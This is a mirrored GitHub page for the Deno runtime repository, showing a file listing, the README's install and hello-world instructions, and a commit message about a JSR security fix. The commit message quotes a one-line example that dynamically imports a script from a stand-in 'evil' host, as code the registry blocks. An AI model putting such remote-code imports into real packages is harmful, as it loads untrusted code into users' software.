0
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2024-10-29 08:58:01 -04:00
A modern runtime for JavaScript and TypeScript. https://deno.com/
Find a file
David Sherret 918c5e648f
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
.cargo feat: bring back WebGPU (#20812) 2023-12-09 01:19:16 +01:00
.devcontainer fix(devcontainer): moved settings to customizations/vscode (#21512) 2023-12-19 13:29:39 +01:00
.github chore: upgrade to actions/setup-python@v5 (#22546) 2024-02-23 07:51:10 -07:00
bench_util 1.41.0 (#22524) 2024-02-22 02:44:05 +01:00
cli fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) 2024-02-28 16:30:45 -05:00
ext fix(io): create_named_pipe parallelism (#22597) 2024-02-26 21:21:14 -07:00
runtime perf(cli): reduce overhead in test registration (#22552) 2024-02-27 20:30:17 -07:00
tests fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) 2024-02-28 16:30:45 -05:00
tools chore: fix wpt_epoch workflow (#22550) 2024-02-26 06:41:17 -07:00
.dlint.json chore: update dlint to v0.37.0 for GitHub Actions (#17295) 2023-01-16 17:17:18 +01:00
.dprint.json perf(fmt): reduce memory usage and improve performance (#22570) 2024-02-23 16:11:45 -05:00
.editorconfig chore: modify editorconfig settings (#21533) 2023-12-12 12:43:41 +09:00
.gitattributes chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
.gitignore chore: move test_ffi and test_nap to tests/ [WIP] (#22394) 2024-02-12 13:46:50 -07:00
.gitmodules chore: move test_util/wpt to tests/wpt/suite (#22412) 2024-02-16 03:32:28 +00:00
.rustfmt.toml chore: update copyright year to 2023 (#17247) 2023-01-02 21:00:42 +00:00
Cargo.lock feat(publish): provenance attestation (#22573) 2024-02-28 07:58:02 +05:30
Cargo.toml fix(unstable): sloppy imports should resolve .d.ts files during types resolution (#22602) 2024-02-27 18:30:21 +00:00
LICENSE.md chore: update LICENSE.md to 2024 (#21833) 2024-01-06 19:14:38 -05:00
README.md chore: Fix typo in README (#21354) 2023-11-27 21:43:35 +00:00
Releases.md 1.41.0 (#22524) 2024-02-22 02:44:05 +01:00
rust-toolchain.toml chore: update to Rust 1.76 (#22376) 2024-02-12 03:00:33 +00:00

Deno

Twitter badge Discord badge YouTube badge

the deno mascot dinosaur standing in the rain

Deno (/ˈdiːnoʊ/, pronounced dee-no) is a JavaScript, TypeScript, and WebAssembly runtime with secure defaults and a great developer experience. It's built on V8, Rust, and Tokio.

Learn more about the Deno runtime in the documentation.

Installation

Install the Deno runtime on your system using one of the commands below. Note that there are a number of ways to install Deno - a comprehensive list of installation options can be found here.

Shell (Mac, Linux):

curl -fsSL https://deno.land/install.sh | sh

PowerShell (Windows):

irm https://deno.land/install.ps1 | iex

Homebrew (Mac):

brew install deno

Chocolatey (Windows):

choco install deno

Build and install from source

Complete instructions for building Deno from source can be found in the manual here.

Your first Deno program

Deno can be used for many different applications, but is most commonly used to build web servers. Create a file called server.ts and include the following TypeScript code:

Deno.serve((_req: Request) => {
  return new Response("Hello, world!");
});

Run your server with the following command:

deno run --allow-net server.ts

This should start a local web server on http://localhost:8000.

Learn more about writing and running Deno programs in the docs.

Additional resources

Contributing

We appreciate your help! To contribute, please read our contributing instructions.